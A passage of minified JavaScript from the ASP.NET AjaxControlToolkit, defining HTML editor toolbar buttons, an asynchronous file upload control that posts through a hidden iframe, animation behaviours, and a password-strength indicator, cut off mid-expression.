a=this;a.isImage()&&$common.removeHandlers(a.get_element(),{mouseover:a._onmouseover$delegate,mouseout:a._onmouseout$delegate,mousedown:a._onmousedown$delegate,mouseup:a._onmouseup$delegate,click:a._onclick$delegate});a._loaded=false;Sys.Application.remove_load(a._app_onload$delegate);AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton.callBaseMethod(a,"dispose")},_app_onload:function(){this.onButtonLoaded();this._loaded=true},onButtonLoaded:function(){},_onmouseover:function(){if(!this.isEnable())return false;Sys.UI.DomElement.addCssClass(this.get_element(),this._cssClass+"_hover");return true},_onmouseout:function(){var a=this;if(!a.isEnable())return false;Sys.UI.DomElement.removeCssClass(a.get_element(),a._cssClass+"_hover");Sys.UI.DomElement.removeCssClass(a.get_element(),a._cssClass+"_mousedown");return true},_onmousedown:function(){if(!this.isEnable())return null;Sys.UI.DomElement.addCssClass(this.get_element(),this._cssClass+"_mousedown");return false},_onmouseup:function(){if(!this.isEnable())return false;Sys.UI.DomElement.removeCssClass(this.get_element(),this._cssClass+"_mousedown");return true},_onclick:function(){if(!this.isEnable())return false;return true},isEnable:function(){if(!this._loaded)return false;if(this._editPanel==null)return false;return true},setActivity:function(b){var a=this;if(b)Sys.UI.DomElement.addCssClass(a.get_element(),a._cssClass+"_active");else Sys.UI.DomElement.removeCssClass(a.get_element(),a._cssClass+"_active")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton",Sys.UI.Control);Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorSelector=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorSelector.initializeBase(this,[a]);this._fixedColorButton=null};AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorSelector.prototype={get_fixedColorButton:function(){return this._fixedColorButton},set_fixedColorButton:function(a){this._fixedColorButton=a},callMethod:function(){var a=this;if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorSelector.callBaseMethod(a,"callMethod"))return false;a.openPopup(Function.createDelegate(a,a._onopened));return true},_onopened:function(a){a.setColor=Function.createDelegate(this,this.setColor)},setColor:function(a){this.closePopup();this._fixedColorButton!=null&&this._fixedColorButton.set_defaultColor(a)}};AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorSelector.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorSelector",AjaxControlToolkit.HTMLEditor.ToolbarButton.Selector);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorClear=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorClear.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorClear.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorClear.callBaseMethod(this,"callMethod"))return false;this._designPanel._execCommand("backcolor",false,"")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorClear.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorClear",AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");AjaxControlToolkit.HTMLEditor.Popups.BaseColorsPopup=function(a){AjaxControlToolkit.HTMLEditor.Popups.BaseColorsPopup.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.Popups.BaseColorsPopup.prototype={};AjaxControlToolkit.HTMLEditor.Popups.BaseColorsPopup.registerClass("AjaxControlToolkit.HTMLEditor.Popups.BaseColorsPopup",AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup);�$Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.AsyncFileUpload=function(c){var b=null,a=this;AjaxControlToolkit.AsyncFileUpload.initializeBase(a,[c]);a._hiddenField=b;a._inputFile=b;a._innerTB=b;a._postBackUrl="";a._formName="";a._iframe=b;a._waitTimer=b;a._completeBackColor="";a._uploadingBackColor="";a._errorBackColor="";a._throbber=b;a._onchange$delegate=b;a._onload$delegate=b;a._app_onload$delegate=Function.createDelegate(a,a._app_onload);a._onmouseup$delegate=b};AjaxControlToolkit.AsyncFileUpload.prototype={get_throbber:function(){return this._throbber},set_throbber:function(a){this._throbber=a},get_completeBackColor:function(){return this._completeBackColor},set_completeBackColor:function(a){this._completeBackColor=a},get_errorBackColor:function(){return this._errorBackColor},set_errorBackColor:function(a){this._errorBackColor=a},get_uploadingBackColor:function(){return this._uploadingBackColor},set_uploadingBackColor:function(a){this._uploadingBackColor=a},get_inputFile:function(){return this._inputFile},set_inputFile:function(a){this._inputFile=a},get_hiddenField:function(){return this._hiddenField},set_hiddenField:function(a){this._hiddenField=a},get_innerTB:function(){return this._innerTB},set_innerTB:function(a){this._innerTB=a},get_postBackUrl:function(){return this._postBackUrl},set_postBackUrl:function(a){this._postBackUrl=a},get_formName:function(){return this._formName},set_formName:function(a){this._formName=a},add_uploadStarted:function(a){this.get_events().addHandler("uploadStarted",a)},remove_uploadStarted:function(a){this.get_events().removeHandler("uploadStarted",a)},raiseUploadStarted:function(b){var a=this.get_events().getHandler("uploadStarted");if(a)return a(this,b);return true},add_uploadComplete:function(a){this.get_events().addHandler("uploadComplete",a)},remove_uploadComplete:function(a){this.get_events().removeHandler("uploadComplete",a)},raiseUploadComplete:function(b){var a=this.get_events().getHandler("uploadComplete");a&&a(this,b)},add_uploadError:function(a){this.get_events().addHandler("uploadError",a)},remove_uploadError:function(a){this.get_events().removeHandler("uploadError",a)},raiseUploadError:function(b){var a=this.get_events().getHandler("uploadError");if(a){a(this,b);return true}return false},setThrobber:function(a){if(this.get_throbber()!=null)this.get_throbber().style.display=a?"":"none"},_onStart:function(b){var a=this.raiseUploadStarted(new AjaxControlToolkit.AsyncFileUploadEventArgs(b,null,null,null));if(typeof a=="undefined")a=true;return a},initialize:function(){var a=this;AjaxControlToolkit.AsyncFileUpload.callBaseMethod(a,"initialize");Sys.Application.add_load(a._app_onload$delegate);a._iframeName=a.get_element()+"_iframe";a.setThrobber(false)},dispose:function(){var b=null,a=this;Sys.Application.remove_load(a._app_onload$delegate);if(a._onchange$delegate!=b){$common.removeHandlers(a._inputFile,{change:a._onchange$delegate});a._onchange$delegate=b}if(a._onmouseup$delegate!=b){$common.removeHandlers(a._inputFile,{mouseup:a._onmouseup$delegate});a._onmouseup$delegate=b}a._removeIframe();AjaxControlToolkit.AsyncFileUpload.callBaseMethod(a,"dispose")},_onmouseup:function(){var a=this._inputFile;setTimeout(function(){a.blur()},0);return true},_app_onload:function(){var a=this;a.setThrobber(false);if(a._inputFile!=null){if(a._onchange$delegate==null){a._onchange$delegate=Function.createDelegate(a,a._onchange);$addHandlers(a._inputFile,{change:a._onchange$delegate})}if(Sys.Browser.agent==Sys.Browser.Firefox){a._inputFile.size=0;var c=a._inputFile.offsetWidth;a._inputFile.style.width="";while(a._inputFile.offsetWidth<c)a._inputFile.size++}if(a._innerTB!=null){a._inputFile.blur();var b=a._inputFile;setTimeout(function(){b.blur()},0);a._innerTB.style.width=a._inputFile.offsetWidth-107+"px";a._inputFile.parentNode.style.width=a._inputFile.offsetWidth+"px";if(Sys.Browser.agent==Sys.Browser.InternetExplorer){a._onmouseup$delegate=Function.createDelegate(a,a._onmouseup);$addHandlers(a._inputFile,{mouseup:a._onmouseup$delegate})}}}},_removeIframe:function(){var b=null,a=this;a._removeTimer();if(a._iframe!=b){if(a._onload$delegate!=b){$common.removeHandlers(a._iframe,{load:a._onload$delegate});a._onload$delegate=b}document.body.removeChild(a._iframe);a._iframe=b}},_removeTimer:function(){if(this._waitTimer!=null){window.clearTimeout(this._waitTimer);this._waitTimer=null}},_onError:function(b){var a=this,c=AjaxControlToolkit.Resources.AsyncFileUpload_UnhandledException;a.setThrobber(false);if(a.get_errorBackColor()!="")if(a._innerTB!=null)a._innerTB.style.backgroundColor=a.get_errorBackColor();else a._inputFile.style.backgroundColor=a.get_errorBackColor();!a.raiseUploadError(new AjaxControlToolkit.AsyncFileUploadEventArgs(a._inputFile.value,null,null,b))&&alert(c+": "+b)},_onchange:function(){var a=this,c=a._inputFile.value;if(c=="")return;if(a._innerTB!=null)a._innerTB.value=c;if(a._hiddenField!=null)a._hiddenField.value=c;try{if(a._iframe==null){a._onload$delegate=Function.createDelegate(a,a._onload);var b=document.createElement("IFRAME");b.width="0";b.height="0";b.style.display="none";b.src="about:blank";b.id=a._iframeName;b.name=a._iframeName;$addHandlers(b,{load:a._onload$delegate});a._iframe=b;document.body.appendChild(a._iframe);b.contentWindow.name=a._iframeName}else{a._removeIframe();var d=AjaxControlToolkit.Resources.AsyncFileUpload_InternalErrorMessage;a._onError(d)}}catch(f){a._onError(f.message)}},_stopLoad:function(f){var a=this,d=document.getElementById(a._formName);a._removeTimer();a.setThrobber(false);d.target="_top";d.action=a._postBackUrl;var e,c="",b=f.split("------");if(b.length>0){if(b[0]=="error"){a._onError(b[1]);return}e=parseInt(b[0])}if(b.length>1)c=b[1];if(a.get_completeBackColor()!="")if(a._innerTB!=null)a._innerTB.style.backgroundColor=a.get_completeBackColor();else a._inputFile.style.backgroundColor=a.get_completeBackColor();a.raiseUploadComplete(new AjaxControlToolkit.AsyncFileUploadEventArgs(a._inputFile.value,e,c,null))},_onload:function(h){var d=null,f=true,a=this,l=f,g=a,c=document.getElementById(a._formName);try{var b=a._iframe.contentWindow.document;if(b==d||b.location==d){var h={message:AjaxControlToolkit.Resources.AsyncFileUpload_UploadingProblem};throw h;}else if(b.location.href=="about:blank"){a._removeTimer();if(a.get_uploadingBackColor()!="")if(a._innerTB!=d)a._innerTB.style.backgroundColor=a.get_uploadingBackColor();else a._inputFile.style.backgroundColor=a.get_uploadingBackColor();var r=a._onStart(a._inputFile.value);if(r){c.action=a._postBackUrl+"?AsyncFileUploadID="+a.get_element().id+"&rnd="+Math.random().toString().replace(/\./g,"");c.target=a._iframeName;l=false;a.setThrobber(f);setTimeout(function(){c.submit();g._waitTimer=setTimeout(function(){g._wait()},100)},0);return f}}else{if(b.body.innerHTML=="")return f;var p=b.getElementById(a.get_element().id),n,i="";if(p!=d){var e=p.innerHTML.split("------");if(e.length>0){if(e[0]=="error"){var h={message:e[1]};throw h;}n=parseInt(e[0])}if(e.length>1)i=e[1]}else{var j=AjaxControlToolkit.Resources.AsyncFileUpload_UnknownServerError;function q(b,a){j=a;return ""}b.body.innerHTML.replace(/Exception\]:([^\n\r]+)[\n\r]/,q);var k=AjaxControlToolkit.Resources.AsyncFileUpload_ServerResponseError+": '"+j+"'",s=confirm(k+"\n\n"+AjaxControlToolkit.Resources.AsyncFileUpload_ConfirmToSeeErrorPage);if(s){var m=window.open("","NotFoundInAnswer","toolbar=0,status=1,scrollbars=1,resizable=1,width=600,height=400");function o(){try{!m.document&&setTimeout(o,100)}catch(c){return}var a=m.document;a.open();a.write("<body>"+b.body.innerHTML+"</body>");a.close()}setTimeout(o,0)}var h={message:k};throw h;}a._removeTimer();c.target="_top";c.action=a._postBackUrl;if(a.get_completeBackColor()!="")if(a._innerTB!=d)a._innerTB.style.backgroundColor=a.get_completeBackColor();else a._inputFile.style.backgroundColor=a.get_completeBackColor();a.setThrobber(false);a.raiseUploadComplete(new AjaxControlToolkit.AsyncFileUploadEventArgs(a._inputFile.value,n,i,d))}}catch(t){a._removeTimer();c.target="_top";c.action=a._postBackUrl;a._onError(t.message)}finally{l&&setTimeout(function(){g._removeIframe()},100)}},_wait:function(){var a=this;if(a._waitTimer==null)return;var b=a;try{var c=a._iframe.contentWindow.document,d=c.location,e=d.href;a._waitTimer=setTimeout(function(){b._wait()},100)}catch(f){setTimeout(function(){b._removeIframe()},100);setTimeout(function(){b._onError(AjaxControlToolkit.Resources.AsyncFileUpload_UploadingProblem)},0);a._waitTimer=null}}};AjaxControlToolkit.AsyncFileUpload.registerClass("AjaxControlToolkit.AsyncFileUpload",AjaxControlToolkit.ControlBase);AjaxControlToolkit.AsyncFileUploadEventArgs=function(d,e,c,b){var a=this;if(arguments.length!=4)throw Error.parameterCount();AjaxControlToolkit.AsyncFileUploadEventArgs.initializeBase(a);a._fileName=d;a._length=e;a._contentType=c;a._errorMessage=b};AjaxControlToolkit.AsyncFileUploadEventArgs.prototype={get_fileName:function(){var b=this._fileName.lastIndexOf("/"),a=this._fileName.lastIndexOf("\\"),c=this._fileName.substr((b>a?b:a)+1);return c},get_path:function(){return this._fileName},get_length:function(){return this._length},get_contentType:function(){return this._contentType},get_errorMessage:function(){return this._errorMessage}};AjaxControlToolkit.AsyncFileUploadEventArgs.registerClass("AjaxControlToolkit.AsyncFileUploadEventArgs",Sys.EventArgs);6Type.registerNamespace("AjaxControlToolkit.Animation");AjaxControlToolkit.Animation.AnimationBehavior=function(c){var b=null,a=this;AjaxControlToolkit.Animation.AnimationBehavior.initializeBase(a,[c]);a._onLoad=b;a._onClick=b;a._onMouseOver=b;a._onMouseOut=b;a._onHoverOver=b;a._onHoverOut=b;a._onClickHandler=b;a._onMouseOverHandler=b;a._onMouseOutHandler=b};AjaxControlToolkit.Animation.AnimationBehavior.prototype={initialize:function(){var a=this;AjaxControlToolkit.Animation.AnimationBehavior.callBaseMethod(a,"initialize");var b=a.get_element();if(b){a._onClickHandler=Function.createDelegate(a,a.OnClick);$addHandler(b,"click",a._onClickHandler);a._onMouseOverHandler=Function.createDelegate(a,a.OnMouseOver);$addHandler(b,"mouseover",a._onMouseOverHandler);a._onMouseOutHandler=Function.createDelegate(a,a.OnMouseOut);$addHandler(b,"mouseout",a._onMouseOutHandler)}},dispose:function(){var b=null,a=this,c=a.get_element();if(c){if(a._onClickHandler){$removeHandler(c,"click",a._onClickHandler);a._onClickHandler=b}if(a._onMouseOverHandler){$removeHandler(c,"mouseover",a._onMouseOverHandler);a._onMouseOverHandler=b}if(a._onMouseOutHandler){$removeHandler(c,"mouseout",a._onMouseOutHandler);a._onMouseOutHandler=b}}a._onLoad=b;a._onClick=b;a._onMouseOver=b;a._onMouseOut=b;a._onHoverOver=b;a._onHoverOut=b;AjaxControlToolkit.Animation.AnimationBehavior.callBaseMethod(a,"dispose")},get_OnLoad:function(){return this._onLoad?this._onLoad.get_json():null},set_OnLoad:function(b){var a=this;if(!a._onLoad){a._onLoad=new AjaxControlToolkit.Animation.GenericAnimationBehavior(a.get_element());a._onLoad.initialize()}a._onLoad.set_json(b);a.raisePropertyChanged("OnLoad");a._onLoad.play()},get_OnLoadBehavior:function(){return this._onLoad},get_OnClick:function(){return this._onClick?this._onClick.get_json():null},set_OnClick:function(b){var a=this;if(!a._onClick){a._onClick=new AjaxControlToolkit.Animation.GenericAnimationBehavior(a.get_element());a._onClick.initialize()}a._onClick.set_json(b);a.raisePropertyChanged("OnClick")},get_OnClickBehavior:function(){return this._onClick},OnClick:function(){this._onClick&&this._onClick.play()},get_OnMouseOver:function(){return this._onMouseOver?this._onMouseOver.get_json():null},set_OnMouseOver:function(b){var a=this;if(!a._onMouseOver){a._onMouseOver=new AjaxControlToolkit.Animation.GenericAnimationBehavior(a.get_element());a._onMouseOver.initialize()}a._onMouseOver.set_json(b);a.raisePropertyChanged("OnMouseOver")},get_OnMouseOverBehavior:function(){return this._onMouseOver},OnMouseOver:function(){var a=this;a._onMouseOver&&a._onMouseOver.play();if(a._onHoverOver){a._onHoverOut&&a._onHoverOut.quit();a._onHoverOver.play()}},get_OnMouseOut:function(){return this._onMouseOut?this._onMouseOut.get_json():null},set_OnMouseOut:function(b){var a=this;if(!a._onMouseOut){a._onMouseOut=new AjaxControlToolkit.Animation.GenericAnimationBehavior(a.get_element());a._onMouseOut.initialize()}a._onMouseOut.set_json(b);a.raisePropertyChanged("OnMouseOut")},get_OnMouseOutBehavior:function(){return this._onMouseOut},OnMouseOut:function(){var a=this;a._onMouseOut&&a._onMouseOut.play();if(a._onHoverOut){a._onHoverOver&&a._onHoverOver.quit();a._onHoverOut.play()}},get_OnHoverOver:function(){return this._onHoverOver?this._onHoverOver.get_json():null},set_OnHoverOver:function(b){var a=this;if(!a._onHoverOver){a._onHoverOver=new AjaxControlToolkit.Animation.GenericAnimationBehavior(a.get_element());a._onHoverOver.initialize()}a._onHoverOver.set_json(b);a.raisePropertyChanged("OnHoverOver")},get_OnHoverOverBehavior:function(){return this._onHoverOver},get_OnHoverOut:function(){return this._onHoverOut?this._onHoverOut.get_json():null},set_OnHoverOut:function(b){var a=this;if(!a._onHoverOut){a._onHoverOut=new AjaxControlToolkit.Animation.GenericAnimationBehavior(a.get_element());a._onHoverOut.initialize()}a._onHoverOut.set_json(b);a.raisePropertyChanged("OnHoverOut")},get_OnHoverOutBehavior:function(){return this._onHoverOut}};AjaxControlToolkit.Animation.AnimationBehavior.registerClass("AjaxControlToolkit.Animation.AnimationBehavior",AjaxControlToolkit.BehaviorBase);AjaxControlToolkit.Animation.GenericAnimationBehavior=function(a){AjaxControlToolkit.Animation.GenericAnimationBehavior.initializeBase(this,[a]);this._json=null;this._animation=null};AjaxControlToolkit.Animation.GenericAnimationBehavior.prototype={dispose:function(){this.disposeAnimation();AjaxControlToolkit.Animation.GenericAnimationBehavior.callBaseMethod(this,"dispose")},disposeAnimation:function(){this._animation&&this._animation.dispose();this._animation=null},play:function(){var a=this;if(a._animation&&!a._animation.get_isPlaying()){a.stop();a._animation.play()}},stop:function(){if(this._animation)this._animation.get_isPlaying()&&this._animation.stop(true)},quit:function(){if(this._animation)this._animation.get_isPlaying()&&this._animation.stop(false)},get_json:function(){return this._json},set_json:function(c){var a=this;if(a._json!=c){a._json=c;a.raisePropertyChanged("json");a.disposeAnimation();var b=a.get_element();if(b){a._animation=AjaxControlToolkit.Animation.buildAnimation(a._json,b);a._animation&&a._animation.initialize();a.raisePropertyChanged("animation")}}},get_animation:function(){return this._animation}};AjaxControlToolkit.Animation.GenericAnimationBehavior.registerClass("AjaxControlToolkit.Animation.GenericAnimationBehavior",AjaxControlToolkit.BehaviorBase);�FType.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.PasswordStrengthExtenderBehavior=function(c){var b=null,a=this;AjaxControlToolkit.PasswordStrengthExtenderBehavior.initializeBase(a,[c]);a._levelArray=[];a._styleArray=[];a._txtPwdStrengthCssClass=b;a._barBorderCssClass=b;a._barIndicatorCssClass=b;a._displayPosition=AjaxControlToolkit.DisplayPosition.RightSide;a._strengthIndicator=AjaxControlToolkit.StrengthIndicatorTypes.Text;a._preferredPasswordLength=0;a._minimumNumericCharacters=0;a._minimumSymbolCharacters=0;a._requiresUpperAndLowerCaseCharacters=false;a._helpHandleCssClass="";a._helpHandlePosition=AjaxControlToolkit.DisplayPosition.AboveRight;a._helpText="";a._helpStatusLabelID=b;a._displayDiv=b;a._helpDiv=b;a._barOuterDiv=b;a._barInnerDiv=b;a._keyPressHandler=b;a._blurHandler=b;a._helpClickHandler=b;a._prefixText=AjaxControlToolkit.Resources.PasswordStrength_StrengthPrompt;a._txtStrengthDescriptions=AjaxControlToolkit.Resources.PasswordStrength_DefaultStrengthDescriptions;a._strengthStyles="";a._barIndicatorStyles="";a._txtseparator=";";a._MIN_TXT_LEVEL_COUNT=2;a._MAX_TXT_LEVEL_COUNT=10;a._calcWeightings="50;15;15;20";a._minLowerCaseChars=0;a._minUpperCaseChars=0};AjaxControlToolkit.PasswordStrengthExtenderBehavior.prototype={initialize:function(){var a=this;AjaxControlToolkit.PasswordStrengthExtenderBehavior.callBaseMethod(a,"initialize");a._createIndicatorDisplayElement();var b=a.get_element();a._keyPressHandler=Function.createDelegate(a,a._onKeyPress);a._blurHandler=Function.createDelegate(a,a._onBlur);$addHandler(b,"keyup",a._keyPressHandler);$addHandler(b,"blur",a._blurHandler);if(a._preferredPasswordLength==null||a._preferredPasswordLength==""||a._preferredPasswordLength<=0){a._preferredPasswordLength=10;a.raisePropertyChanged("PreferredPasswordLength")}if(a._calcWeightings==null||a._calcWeightings==""){a._calcWeightings="50;15;15;20";a.raisePropertyChanged("CalculationWeightings")}a._getPasswordStrength()},_createIndicatorDisplayElement:function(){var b=this;if(b._strengthIndicator==AjaxControlToolkit.StrengthIndicatorTypes.BarIndicator)b._createBarIndicatorDisplayElement();else b._createTextDisplayElement();if(b._createHelpDisplayElement()==true){$common.setVisible(b._helpDiv,true);var a=$common.getBounds(b.get_element()),d=$common.getBounds(b._helpDiv),f,e,c=3;if(b._helpHandlePosition=="LeftSide"){f=a.y+(a.height/2-d.height/2);e=a.x-d.width}else if(b._helpHandlePosition=="BelowRight"){f=a.y+a.height-c;e=a.x+a.width-c}else if(b._helpHandlePosition=="BelowLeft"){f=a.y+a.height-c;e=a.x-d.width+c}else if(b._helpHandlePosition=="RightSide"){f=a.y+(a.height/2-d.height/2);e=a.x+a.width}else if(b._helpHandlePosition=="AboveLeft"){f=a.y-d.height+c;e=a.x-d.width+c}else{f=a.y-d.height+c;e=a.x+a.width-c}b._helpDiv.style.top=f+"px";b._helpDiv.style.left=e+"px"}},_createTextDisplayElement:function(){var b=this,a=document.createElement("label");a.style.position="absolute";a.style.visibility="hidden";a.style.display="none";if(b.get_element().id)a.id=b.get_element().id+"_PasswordStrength";b._displayDiv=a;b._setTextDisplayLocation(a);document.body.appendChild(a);b._setTextDisplayStyle(0)},_setTextDisplayStyle:function(b){var a=this;if(a._styleArray.length==0)if(a._txtPwdStrengthCssClass!=null&&a._txtPwdStrengthCssClass!="")a._displayDiv.className=a._txtPwdStrengthCssClass;else a._displayDiv.style.backgroundColor="yellow";else{a._displayDiv.style.backgroundColor="";a._txtPwdStrengthCssClass!=null&&a._txtPwdStrengthCssClass!=""&&Sys.UI.DomElement.containsCssClass(a._displayDiv,a._txtPwdStrengthCssClass)&&Sys.UI.DomElement.removeCssClass(a._displayDiv,a._txtPwdStrengthCssClass);a._displayDiv.className=a._styleArray[b]}},_setBarDisplayStyle:function(b){var a=this;if(a._barBorderCssClass!="")a._barOuterDiv.className=a._barBorderCssClass;else{d1.style.width="200px";d1.style.borderStyle="solid";d1.style.borderWidth="1px"}if(a._styleArray.length==0)if(a._barIndicatorCssClass!="")a._barInnerDiv.className=a._barIndicatorCssClass;else a._barInnerDiv.style.backgroundColor="red";else{a._barIndicatorCssClass!=null&&a._barIndicatorCssClass!=""&&Sys.UI.DomElement.containsCssClass(a._barInnerDiv,a._barIndicatorCssClass)&&Sys.UI.DomElement.removeCssClass(a._barInnerDiv,a._barIndicatorCssClass);a._barInnerDiv.className=a._styleArray[b]}},_createBarIndicatorDisplayElement:function(){var d="absolute",a=this,b=document.createElement("div");b.style.position=d;b.style.visibility="hidden";b.style.display="none";var c=document.createElement("div");c.style.position=d;c.style.visibility="hidden";c.style.display="none";b.style.height=a.get_element().offsetHeight+4+"px";if(a.get_element().id){b.id=a.get_element().id+"_PasswordStrengthBar1";c.id=a.get_element().id+"_PasswordStrengthBar2"}a._barOuterDiv=b;a._barInnerDiv=c;a._extractStyles();a._setBarDisplayStyle(0);document.body.appendChild(b);document.body.appendChild(c);a._setBarDisplayLocation(b,c)},_createHelpDisplayElement:function(){var a=this;if(a._helpHandleCssClass!=""){var b=document.createElement("a");b.style.position="absolute";b.style.visibility="hidden";b.style.display="none";b.href="#";b.title=AjaxControlToolkit.Resources.PasswordStrength_GetHelpRequirements;if(a.get_element().id)b.id=a.get_element().id+"_PasswordStrengthReqDisplay";a._helpClickHandler=Function.createDelegate(a,a._onHelpClick);$addHandler(b,"click",a._helpClickHandler);a._helpDiv=b;a._helpDiv.className=a._helpHandleCssClass;if(a.get_element().parentElement!=null&&a.get_element().parentElement.canHaveChildren)a.get_element().parentElement.appendChild(b);else document.body.appendChild(b);return true}else return false},_setTextDisplayLocation:function(c){var b="px",a=this,d=$common.getLocation(a.get_element()),f=$common.getBounds(a.get_element()),e=15;if(a._displayPosition==AjaxControlToolkit.DisplayPosition.LeftSide){c.style.top=d.y+b;c.style.left=d.x-f.width-e+b}else if(a._displayPosition=="BelowRight"){c.style.top=d.y+a.get_element().offsetHeight+b;c.style.left=d.x+a.get_element().offsetWidth-a.get_element().offsetWidth/4+b}else if(a._displayPosition==AjaxControlToolkit.DisplayPosition.BelowLeft){c.style.top=d.y+a.get_element().offsetHeight+b;c.style.left=d.x-e+b}else if(a._displayPosition==AjaxControlToolkit.DisplayPosition.AboveRight){c.style.top=d.y-a.get_element().offsetHeight+b;c.style.left=d.x+a.get_element().offsetWidth-a.get_element().offsetWidth/4+b}else if(a._displayPosition==AjaxControlToolkit.DisplayPosition.AboveLeft){c.style.top=d.y-a.get_element().offsetHeight+b;c.style.left=d.x-e+b}else{c.style.top=d.y+b;c.style.left=d.x+a.get_element().offsetWidth+e+b}},_setBarDisplayLocation:function(d,e){var a="px",b=this;if(b.get_element().offsetHeight>0){var k=$common.getBorderBox(d),j=$common.getPaddingBox(d),f=k.left+j.left,g=k.top+j.top;e.style.height=b.get_element().offsetHeight+a;d.style.height=b.get_element().offsetHeight+a;var c=$common.getLocation(b.get_element()),h=15;if(b._displayPosition==AjaxControlToolkit.DisplayPosition.LeftSide){var l=$common.getVisible(b._barOuterDiv);$common.setVisible(b._barOuterDiv,true);var m=$common.getContentSize(d);$common.setVisible(b._barOuterDiv,l);var i=m.width;d.style.top=c.y+a;d.style.left=c.x-parseInt(i)-h+a;e.style.top=c.y+g+a;e.style.left=c.x-parseInt(i)-h+f+a}else if(b._displayPosition==AjaxControlToolkit.DisplayPosition.BelowRight){d.style.top=c.y+b.get_element().offsetHeight+a;d.style.left=c.x+b.get_element().offsetWidth+a;e.style.top=c.y+b.get_element().offsetHeight+g+a;e.style.left=c.x+b.get_element().offsetWidth+f+a}else if(b._displayPosition==AjaxControlToolkit.DisplayPosition.BelowLeft){d.style.top=c.y+b.get_element().offsetHeight+a;d.style.left=c.x+a;e.style.top=c.y+b.get_element().offsetHeight+g+a;e.style.left=c.x+f+a}else if(b._displayPosition==AjaxControlToolkit.DisplayPosition.AboveRight){d.style.top=c.y-b.get_element().offsetHeight+a;d.style.left=c.x+b.get_element().offsetWidth+a;e.style.top=c.y-b.get_element().offsetHeight+g+a;e.style.left=c.x+b.get_element().offsetWidth+f+a}else if(b._displayPosition==AjaxControlToolkit.DisplayPosition.AboveLeft){d.style.top=c.y-b.get_element().offsetHeight+a;d.style.left=c.x+a;e.style.top=c.y-b.get_element().offsetHeight+g+a;e.style.left=c.x+f+a}else{d.style.top=c.y+a;d.style.left=c.x+b.get_element().offsetWidth+h+a;e.style.top=c.y+g+a;e.style.left=c.x+b.get_element().offsetWidth+h+f+a}}},_showStrength:function(){var b=true,a=this,f=a.get_element();if(f.readOnly==b)return;var d=a._getPasswordStrength();if(a._strengthIndicator==AjaxControlToolkit.StrengthIndicatorTypes.BarIndicator){$common.setVisible(a._barOuterDiv,b);$common.setVisible(a._barInnerDiv,b);var c=0;if(a._styleArray!=null&&a._styleArray.length>0)c=parseInt(d/100*(a._styleArray.length-1));a._setBarDisplayStyle(c);a._setBarDisplayLocation(a._barOuterDiv,a._barInnerDiv);a._showStrengthAsBarValue(d)}else{a._createTextDescriptions(a._txtStrengthDescriptions);$common.setVisible(a._displayDiv,b);var c=parseInt(d/100*(a._levelArray.length-1)),e=a._levelArray[c];a._setTextDisplayStyle(c);a._setTextDisplayLocation(a._displayDiv);a._showStrengthAsText(e)}},_showStrengthAsText:function(a){this._displayDiv.innerHTML=this._prefixText+a},_showStrengthAsBarValue:function(a){var c=$common.getContentSize(this._barOuterDiv),d=$common.getPaddingBox(this._barOuterDiv),b=parseInt(c.width*(a/100));this._barInnerDiv.style.width=b+"px"},_getPasswordStrength:function(){var g=", ",a=this,f=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element()).get_Value(),b="",c=0,h=a._calcWeightings.split(";");h.length!=4&&Sys.Debug.assert(null,AjaxControlToolkit.Resources.PasswordStrength_InvalidWeightingRatios);var s=parseInt(h[0]),l=parseInt(h[1]),k=parseInt(h[2]),m=parseInt(h[3]),d=f.length/a._preferredPasswordLength;if(d>1)d=1;var n=d*s;c+=n;if(d<1)b=String.format(AjaxControlToolkit.Resources.PasswordStrength_RemainingCharacters,a._preferredPasswordLength-f.length);if(a._minimumNumericCharacters>0){var q=new RegExp("[0-9]","g"),e=a._getRegexCount(q,f);if(e>=a._minimumNumericCharacters)c+=l;if(e<a._minimumNumericCharacters){if(b!="")b+=g;b+=String.format(AjaxControlToolkit.Resources.PasswordStrength_RemainingNumbers,a._minimumNumericCharacters-e)}}else c+=d*l;if(a._requiresUpperAndLowerCaseCharacters==true||typeof a._requiresUpperAndLowerCaseCharacters=="String"&&Boolean.parse(a._requiresUpperAndLowerCaseCharacters)==true){var o=new RegExp("[a-z]","g"),p=new RegExp("[A-Z]","g"),i=a._getRegexCount(o,f),j=a._getRegexCount(p,f);if(i>0||j>0)if(i>=a._minLowerCaseChars&&j>=a._minUpperCaseChars)c+=k;else{if(a._minLowerCaseChars>0&&a._minLowerCaseChars-i>0){if(b!="")b+=g;b+=String.format(AjaxControlToolkit.Resources.PasswordStrength_RemainingLowerCase,a._minLowerCaseChars-i)}if(a._minUpperCaseChars>0&&a._minUpperCaseChars-j>0){if(b!="")b+=g;b+=String.format(AjaxControlToolkit.Resources.PasswordStrength_RemainingUpperCase,a._minUpperCaseChars-j)}}else{if(b!="")b+=g;b+=AjaxControlToolkit.Resources.PasswordStrength_RemainingMixedCase}}else c+=d*k;if(a._minimumSymbolCharacters>0){var r=new RegExp("[^a-z,A-Z,0-9, 